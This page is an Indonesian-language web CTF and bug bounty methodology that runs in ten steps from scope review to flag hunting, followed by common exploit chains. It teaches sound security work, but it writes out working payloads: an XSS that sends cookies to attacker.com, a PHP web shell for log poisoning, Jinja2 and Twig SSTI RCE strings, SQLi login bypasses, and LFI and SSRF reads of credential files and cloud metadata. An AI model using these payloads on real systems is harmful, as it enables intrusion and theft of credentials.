🏆 Web CTF & Bug Bounty

CTF Methodology

Pendekatan sistematis untuk Web CTF dan Bug Bounty — dari scope review hingga exploitation path. Step-by-step berdasarkan pola dari kompetisi nyata.

10
Langkah
50+
Teknik
15+
Common Patterns
01 Scope & Target Review 02 Tech Fingerprinting 03 Content Discovery 04 Input Enumeration 05 Authentication Testing 06 Injection Testing 07 Access Control 08 Client-Side Attacks 09 Server-Side Attacks 10 Flag Hunting & Report
01
🔍 Scope & Target Review
Baca rules/brief dengan teliti sebelum mulai. Di CTF, flag sering ada di tempat yang paling jelas — di source code, comment HTML, atau response header. Di Bug Bounty, pahami in-scope endpoints dengan baik.
Scope review Rule reading Target profiling
  • Baca brief/rules challenge secara lengkap — hint sering tersembunyi di sana
  • Identifikasi scope: domain, subdomain, API endpoint yang boleh ditest
  • Cek apakah ada hint di nama challenge atau deskripsi
  • Periksa source code halaman utama (Ctrl+U) untuk comment atau path tersembunyi
  • Lihat response headers: Server, X-Powered-By, X-Frame-Options
  • Cek /robots.txt, /sitemap.xml, /.well-known/
Common Pattern: Flag di robots.txt, HTML comment, atau base64 di cookie awal.
02
🔧 Tech Fingerprinting
Identifikasi teknologi yang digunakan — framework, bahasa, database, CMS. Setiap teknologi memiliki pola kerentanan tersendiri yang bisa langsung dicari.
Wappalyzer WhatWeb Headers Error messages
  • Gunakan Wappalyzer extension atau whatweb -a 3 <url>
  • Trigger error 404/500 untuk melihat stack trace atau framework hint
  • Cek ekstensi file: .php, .aspx, .jsp, .py
  • Perhatikan cookie names: PHPSESSID, JSESSIONID, ASP.NET_SessionId
  • Cek /package.json, /composer.json, /requirements.txt
  • Lihat URL pattern untuk clue framework: /wp-admin, /admin/login
Common Pattern: Template engine terdeteksi → coba SSTI. CMS terdeteksi → cari CVE versi tersebut.
03
🖹 Content Discovery
Temukan hidden endpoints, backup files, admin panels, dan direktori tersembunyi. Di CTF, vulnerability path sering dimulai dari endpoint yang tidak di-link di UI utama.
ffuf Gobuster Feroxbuster Wordlist
  • ffuf -u https://TARGET/FUZZ -w common.txt -mc 200,301,302,403
  • Coba extension common: -e .php,.html,.bak,.txt,.zip,.old,.backup
  • Cari backup files: /index.php.bak, /config.php~, /.env
  • Cek /.git/ — jika accessible, dump dengan git-dumper
  • Coba /api/, /api/v1/, /v1/, /graphql
  • Cari file dengan nama predictable: /flag.txt, /secret.php, /admin.php
  • Scan parameter dengan Arjun: arjun -u https://TARGET/page
Common Pattern: /.git/ expose source code → audit for hardcoded creds atau SQLi. /.env expose DB credentials.
04
✏️ Input Enumeration
Map semua input point di aplikasi — form, URL parameter, headers, cookies, JSON body. Setiap input adalah potensi injection point.
Burp Suite Spider/Crawl Param mining
  • Proxy semua traffic melalui Burp Suite — aktifkan intercept dan spider
  • Klik semua link, submit semua form, isi semua field
  • Test hidden parameters: tambahkan ?debug=1, ?admin=1, ?test=true
  • Periksa API endpoints — cari perbedaan response antara role yang berbeda
  • Test HTTP headers sebagai input: Referer, X-Forwarded-For, User-Agent
  • Fuzz parameter names dengan Arjun atau Param Miner (Burp extension)
Common Pattern: Hidden param ?role=user → ubah ke ?role=admin. X-Forwarded-For: 127.0.0.1 bypass IP restriction.
05
🔐 Authentication Testing
Test semua aspek autentikasi — login bypass, weak credentials, JWT issues, session problems. Authentication bypass adalah salah satu finding paling umum di CTF web.
SQLi bypass JWT attack Default creds Brute force
  • Coba default creds: admin:admin, admin:password, test:test
  • SQL injection login bypass: admin'-- - di username field
  • Decode JWT (jwt.io) dan cek claim — apakah bisa dimodifikasi?
  • Test JWT algorithm confusion: ubah alg ke none
  • Cek apakah session ID predictable atau bisa di-fix
  • Test password reset flow — apakah token predictable atau link bisa di-manipulasi?
  • Cari registration page yang hidden — register akun admin langsung
Common Pattern: JWT dengan alg:none → hapus signature. Login form → SQLi ' OR 1=1-- -.
06
💉 Injection Testing
Test semua injection vulnerability di setiap input yang ditemukan. Prioritaskan SQLi, SSTI, Command Injection, dan XXE karena biasanya mengarah langsung ke flag atau RCE.
SQLi SSTI Cmd Injection XXE XSS
  • SQLi: coba ' di setiap parameter — perhatikan error message
  • SSTI: coba {{7*7}}, ${7*7}, #{7*7} — jika output 49 = SSTI!
  • Cmd injection: coba ;id, |id, `id` di parameter
  • XSS: coba <script>alert(1)</script> dan cek jika reflected
  • XXE: kirim XML dengan entity external dan cek response
  • LFI: coba ?file=../../../etc/passwd di parameter file/page
  • Gunakan sqlmap untuk automated SQLi: sqlmap -r request.txt --dbs
Common Pattern: Template engine detected (Jinja2/Twig/Pebble) + user input in template → SSTI RCE. Search box with error → SQLi.
07
🖓 Access Control & IDOR
Verifikasi apakah access control diterapkan dengan benar. IDOR adalah salah satu kategori paling mudah ditemukan tapi sering di-overlook, terutama di API endpoints.
IDOR BOLA Privilege escalation Forced browsing
  • Buat 2 akun (user A dan user B) — cek apakah A bisa akses resource B
  • Ganti ID di URL: /user/100/user/1, /user/2
  • Test API endpoints tanpa token — apakah masih accessible?
  • Ganti role/privilege di JWT atau cookie: "role":"user""role":"admin"
  • Akses admin endpoint langsung: /admin, /admin/users, /dashboard/admin
  • Test horizontal escalation: apakah user bisa ubah data user lain?
  • Cek Mass Assignment: kirim {"role":"admin"} di registration/update request
Common Pattern: GET /api/notes/1337 milik user lain tapi accessible → IDOR. Admin endpoint tidak dicek server-side → Forced Browsing.
08
🖥️ Client-Side Attacks
Jika ada user/admin yang melihat konten yang bisa kita control, target adalah XSS → cookie theft atau CSRF. Di CTF ini sering direpresentasikan sebagai "bot" yang mengunjungi link.
XSS CSRF Clickjacking PostMessage
  • Jika ada fitur "report to admin" → target: XSS untuk steal admin cookie
  • Setup listener: python3 -m http.server 8000 atau requestbin
  • XSS payload: <script>fetch('http://attacker.com/?c='+document.cookie)</script>
  • Test CSP header — apakah XSS di-block? Cari bypass technique
  • Coba DOM-based XSS: cek source JavaScript untuk innerHTML, eval, document.write
  • CSRF: apakah action sensitif ada CSRF token? Jika tidak → buat PoC form
  • Cek window.postMessage handler — apakah ada validasi origin?
Common Pattern: Comment/feedback fitur + bot → XSS → cookie steal → login sebagai admin → flag ada di admin panel.
09
🌐 Server-Side Attacks
SSRF, deserialization, file upload, dan request smuggling. Target akhir biasanya adalah membaca file flag, mendapat RCE, atau akses ke internal service.
SSRF File Upload Deserialization SSTI
  • SSRF: jika ada parameter URL → coba http://127.0.0.1/, http://localhost/admin
  • SSRF cloud: http://169.254.169.254/latest/meta-data/
  • File upload: coba upload .php web shell, bypass dengan double extension: shell.php.jpg
  • File upload bypass: ubah MIME type di Burp, atau ekstensi ke .phtml, .php5
  • Deserialization: cek jika ada serialized data di cookie atau body (PHP: O:4..., Java: rO0...)
  • Race condition: coba kirim request parallel untuk double-use atau bypass limit
  • GraphQL: introspection → cari mutation sensitif atau data leak
Common Pattern: File upload + SSTI in filename → RCE. SSRF + cloud metadata → IAM credentials → access S3 → flag. PHP deserialization → custom gadget chain.
10
🏆 Flag Hunting & Reporting
Setelah mendapat akses, cari flag atau sensitive data. Untuk Bug Bounty, dokumentasikan temuan dengan baik termasuk PoC yang clear dan reproducible.
Flag locations DB dump File read Report writing
  • Lokasi flag umum: /flag.txt, /flag, /etc/flag, home directory user
  • Di database: dump semua tabel, cari kolom flag, secret, token
  • Di environment: coba printenv atau baca /proc/self/environ
  • Di source code (setelah RCE): grep -r "CTF{" / atau grep -r "flag" /var/www/
  • Untuk Bug Bounty — buat report dengan: title, CVSS score, deskripsi, PoC step-by-step, impact, mitigasi
  • Screenshot atau screen record untuk evidence yang kuat
  • Buat curl atau Burp Repeater request yang bisa direproducing dengan mudah
Common Pattern: RCE via SSTI → cat /flag.txt. SQLi → dump DB → table flags berisi flag. SSRF → /proc/self/environ → flag sebagai env variable.
Common CTF Exploit Chains

💉 LFI → RCE Chain

LFI ditemukan → Log poisoning via User-Agent header (<?php system($_GET['c']); ?>) → Baca /var/log/apache2/access.log via LFI → RCE via parameter ?c=idcat /flag.txt

🔒 XSS → Account Takeover

Stored XSS di feedback form → Bot admin membuka report → Script mencuri cookie → Login sebagai admin → Flag di admin panel atau admin dapat membaca file user lain

🌐 SSRF → Cloud Metadata

SSRF via URL parameter → http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name → Dapat AWS credentials → aws s3 ls → Download S3 bucket berisi flag

🎯 SSTI → RCE

Detect template engine dengan {{7*7}} → Jinja2 ({{config.__class__.__init__.__globals__['os'].popen('id').read()}}) atau Twig ({{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}) → RCE → flag

📋 .git Exposure → Source Code Audit

Akses /.git/HEAD dapat response → git_dumper.py dump repo → Baca source code → Temukan hardcoded DB creds atau API key → Login ke DB / API dengan credential tersebut → akses flag

🔓 SQL Injection → Admin Access

Login form dengan admin'-- - → bypass auth → akses admin panel → flag ada di dashboard. Atau: UNION-based extract hash → crack hash → login sebagai admin

💡 Pro Tips

1. Selalu coba payload paling basic dulu (', {{7*7}}, ;id) sebelum yang kompleks.
2. Baca source code JavaScript — sering ada API endpoint, token, atau logika yang vulnerable.
3. Jika stuck, mundur ke langkah 3 (content discovery) — mungkin ada endpoint yang terlewat.
4. Error message adalah emas — beri tahu stack trace, query, path, atau teknologi yang digunakan.
5. Di Bug Bounty: report dengan impact yang jelas (bukan hanya "XSS ditemukan" tapi "XSS → account takeover admin").